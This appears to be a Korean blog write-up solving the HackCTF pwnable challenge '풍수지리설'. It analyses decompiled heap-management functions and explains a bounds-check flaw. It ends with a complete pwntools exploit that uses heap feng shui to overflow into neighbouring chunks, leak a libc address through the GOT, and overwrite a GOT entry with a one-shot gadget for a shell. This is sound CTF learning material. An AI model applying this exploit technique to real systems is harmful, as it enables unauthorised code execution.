tmxklab
[HackCTF/Pwnable] 풍수지리설 본문
Heap Feng Shui기법 이용
1. 문제
nc ctf.j0n9hyun.xyz 3028
1) mitigation 확인
2) 문제 확인
3) 코드 흐름 확인
3-1) main()
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char v3; // [esp+3h] [ebp-15h]
int v4; // [esp+4h] [ebp-14h]
int v5; // [esp+8h] [ebp-10h]
unsigned int v6; // [esp+Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
alarm(0x3Cu);
while ( 1 )
{
puts("0: Add a Location");
puts("1: Delete a Location");
puts("2: Display a Location");
puts("3: Update a Location description");
puts("4: Exit");
printf("Choice: ");
if ( __isoc99_scanf("%d", &v4) == -1 )
break;
if ( !v4 )
{
printf("Size of description: ");
__isoc99_scanf("%u%c", &v5, &v3);
add_location(v5);
}
if ( v4 == 1 )
{
printf("Index: ");
__isoc99_scanf("%d", &v5);
delete_location((unsigned __int8)v5);
}
if ( v4 == 2 )
{
printf("Index: ");
__isoc99_scanf("%d", &v5);
display_location((unsigned __int8)v5);
}
if ( v4 == 3 )
{
printf("Index: ");
__isoc99_scanf("%d", &v5);
update_desc((unsigned __int8)v5);
}
if ( v4 == 4 )
{
puts("^^7");
exit(0);
}
if ( (unsigned __int8)cnt > 0x31u )
{
puts("Capacity Exceeded!");
exit(0);
}
}
exit(1);
}
3-2) add_location()
_DWORD *__cdecl add_location(size_t a1)
{
void *s; // ST24_4
_DWORD *v2; // ST28_4
s = malloc(a1);
memset(s, 0, a1);
v2 = malloc(0x80u);
memset(v2, 0, 0x80u);
*v2 = s;
store[(unsigned __int8)cnt] = v2;
printf("Name: ");
read_len((char *)store[(unsigned __int8)cnt] + 4, 124);
update_desc((unsigned __int8)(++cnt - 1));
return v2;
}
- s변수에 a1만큼 malloc, memset
- v2에 0x80만큼 malloc, memset
- v2에 s변수를 저장하고 결국 store[cnt]에 v2를 저장
- store[cnt]+4와 124를 read_len()인자로 전달
- (++cnt-1)을 update_desc()인자로 전달
3-3) delete_location()
unsigned int __cdecl delete_location(unsigned __int8 a1)
{
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)cnt && store[a1] )
{
free(*(void **)store[a1]);
free(store[a1]);
store[a1] = 0;
}
return __readgsdword(0x14u) ^ v2;
}
- cnt값이 a1보다 크면서 store[a1]에 값이 존재하면 if문 통과
- [text를 저장한 청크] free → [name저장한 청크] free
- free한 청크에 해당하는 store변수 인덱스에 0으로 저장
3-4) display_location()
unsigned int __cdecl display_location(unsigned __int8 a1)
{
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)cnt && store[a1] )
{
printf("Name: %s\n", (char *)store[a1] + 4);
printf("Description: %s\n", *(_DWORD *)store[a1]);
}
return __readgsdword(0x14u) ^ v2;
}
- cnt값이 a1보다 크면서 store[a1]에 값이 존재하면 if문 통과
- name, desc출력
3-5) update_desc()
unsigned int __cdecl update_desc(unsigned __int8 a1)
{
char v2; // [esp+17h] [ebp-11h]
int v3; // [esp+18h] [ebp-10h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
if ( a1 < cnt && store[a1] )
{
v3 = 0;
printf("Text length: ");
__isoc99_scanf("%u%c", &v3, &v2);
if ( (v3 + *store[a1]) >= store[a1] - 4 )
{
puts("Nah...");
exit(1);
}
printf("Text: ");
read_len(*store[a1], v3 + 1);
}
return __readgsdword(0x14u) ^ v4;
}
- cnt값이 a1보다 크면서 store[a1]에 값이 존재하면 if문 통과(cnt는 전역 변수로 청크가 추가될 때마다 증가한다.)
- text에 대한 입력 사이즈를 받음
- text가 저장된 주소 + 사이즈가 name주소보다 크면 exit()실행
3-6) read_len()
unsigned int __cdecl read_len(char *a1, int a2)
{
char *v3; // [esp+18h] [ebp-10h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
fgets(a1, a2, stdin);
v3 = strchr(a1, 10);
if ( v3 )
*v3 = 0;
return __readgsdword(0x14u) ^ v4;
}
- fgets함수로 a1에 a2만큼 입력을 받을 수 있음
- add_location()에서 read_len()을 호출할 때 파라미터 a2는 124(0x7c)bytes로 고정되어 있음
전역변수)
- cnt : 0x804b069
- store : 0x804b080
정리)
- add_location : 새로운 user를 추가함 → name과 desc값을 힙 영역에 저장하고 전역변수 store가 관리함, 이 때, name 청크는 0x80으로 고정이지만 desc 청크는 사용자의 입력에 따라 크기가 가변
- delete_location : desc청크를 먼저 free하고 name청크를 free한 다음에 store전역변수에 널 값 삽입
- display_location : name값과 desc값을 출력
- update_desc : 다음 2개의 if문을 통과하면 선택한 인덱스의 desc변경
- if ( a1 < cnt && store[a1] )
- 해당 User가 존재하는지 검증
- if ( ( v3 + store[a1] ) ≥ store[a1] - 4 )
- v3 + *store[a1] : desc청크의 주소로부터 desc의 입력 값 길이를 합한 값
- store[a1] - 4 : name청크의 size부분(0x89)
- desc값을 입력하기 전에 name청크를 침범하는지 검증
- if ( a1 < cnt && store[a1] )
2. 접근방법
디버깅을 통해 청크의 구조를 자세히 확인해보자
- 총 1번의 add_location()를 호출한 결과이며 총 2개의 청크가 생성되었다.
- 전역변수 store에서는 size가 0x88bytes인 청크의 주소를 가지고 있다.
- 해당 청크에는 text의 저장한 청크[size : 0x18]의 주소와 name에 대한 입력 값이 저장되어 있다.
- text = desc
알아야할 점)
- name청크는 0x80사이즈로 고정되어 있고 desc청크는 가변적
- free하면 힙 주소를 관리하는 store전역변수의 해당 인덱스에 널값 삽입
- desc청크가 name청크를 침범할 수 없도록 update_desc()의 두 번째 if문에서 검증 → heap overflow 방지
name청크와 desc청크의 크기가 다르므로 free될 경우 들어가는 bin도 다르다.
- 2개의 user를 추가하고 첫 번째 user를 free하였을 때
- desc청크는 fastbin[1]에 들어가고 name청크는 unsorted bin에 들어간다.
만일, 새로운 유저를 생성하고 desc의 크기를 name청크의 크기와 같도록 malloc하면 unsorted bin에 들어갔던 free chunk를 재활용하게 될 것이다.
확인 결과)
- fastbin[1]은 남아있고 unsorted bin은 빠져나가 desc로 사용하고 있음
이제 문제는 여기서 터진다.
아까 위에서 desc값이 name청크의 범위를 검증하기 위해 update_desc의 두 번째 if문을 수행하게 된다고 하였다.. → *if ( ( v3 + store[a1] ) ≥ store[a1] - 4 )
그럼 마지막으로 생성된 Chunk에서 update_desc()를 호출하였을 때 desc값이 쓸 수 있는 범위는 desc 청크부터 ~ name 청크의 prev_size까지 일 것이다.
그림을 통해 확인해보자
마지막으로 생성된 Chunk가 User D라고 했을 때 desc와 name청크 사이에 User B, C의 name, desc청크가 존재한다.
즉, User D의 desc청크부터 User B, User C를 지나서 User D의 name청크의 prev_size까지 모두 사용가능하다.
이를 통해 Heap Overflow가 발생하여 User B, C의 name청크에 존재하는 desc주소 값부분을 컨트롤할 수 있게 된다.
이렇게 User D의 Heap Layout을 조정함으로써 익스할 수 있게 만드는 Heap Layout 형태를 Feng Shui라고 한다.
공격 프로세스)
- Heap Feng Shui
- Heap Overflow → name청크의 desc주소 값 변경
- Leak Libc Func Addr → display_location()
- GOT Overwrite
3. 풀이
1) 원샷 가젯
2) 익스 코드
from pwn import *
context(log_level="debug", arch="i386", os="linux")
#p = process("./fengshui")
e = ELF("./fengshui")
libc = ELF("/home/cmc/Desktop/lib_hack/poongsu/libc.so.6")
p = remote("ctf.j0n9hyun.xyz", 3028)
#gdb.attach(p, """b*0x8048816""")
oneshot_offset = 0x3ac5c
puts_offset = libc.symbols['puts']
puts_got = e.got['puts']
def add(size, name, length, text):
p.sendlineafter(": ", str(0))
p.sendlineafter("description: ", str(size))
p.sendlineafter("Name: ", name)
p.sendlineafter("length: ",str(length))
p.sendlineafter("Text: ", text)
def delete(idx):
p.sendlineafter(": ", str(1))
p.sendlineafter("Index: ", str(idx))
def display(idx):
p.sendlineafter(": ", str(2))
p.sendlineafter("Index: ", str(idx))
def update(idx, length, text):
p.sendlineafter(": ", str(3))
p.sendlineafter("Index: ", str(idx))
p.sendlineafter("length: ", str(length))
p.sendlineafter("Text: ", text)
# 1. Heap Feung Shui
add(20, "AAAA", 10, "XXXX")
add(20, "BBBB", 10, "YYYY")
add(20, "CCCC", 10, "ZZZZ")
delete(0)
payload = "D"*0xa0 + p32(puts_got)
add(128, "D", len(payload), payload)
# 2. leak puts() addr
display(1)
p.recvuntil("Description: ")
puts_addr = u32(p.recv(4))
libc_base = puts_addr - puts_offset
oneshot_addr = libc_base + oneshot_offset
log.info("puts_addr : "+hex(puts_addr))
log.info("libc_base : "+hex(libc_base))
log.info("one shot : "+hex(oneshot_addr))
# 3. GOT Overwrite
update(1, len(p32(oneshot_addr)), p32(oneshot_addr))
p.interactive()
3) 실행 결과
4. 몰랐던 개념
1) Heap Feng Shui
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] babyheap (0) | 2020.08.15 |
---|---|
[HackCTF/Pwnable] Unexploitable #2 (0) | 2020.08.15 |
[HackCTF/Pwnable] World Best Encryption Tool (0) | 2020.08.15 |
[HackCTF/Pwnable] register (0) | 2020.08.15 |
[HackCTF/Pwnable] rtc (0) | 2020.08.06 |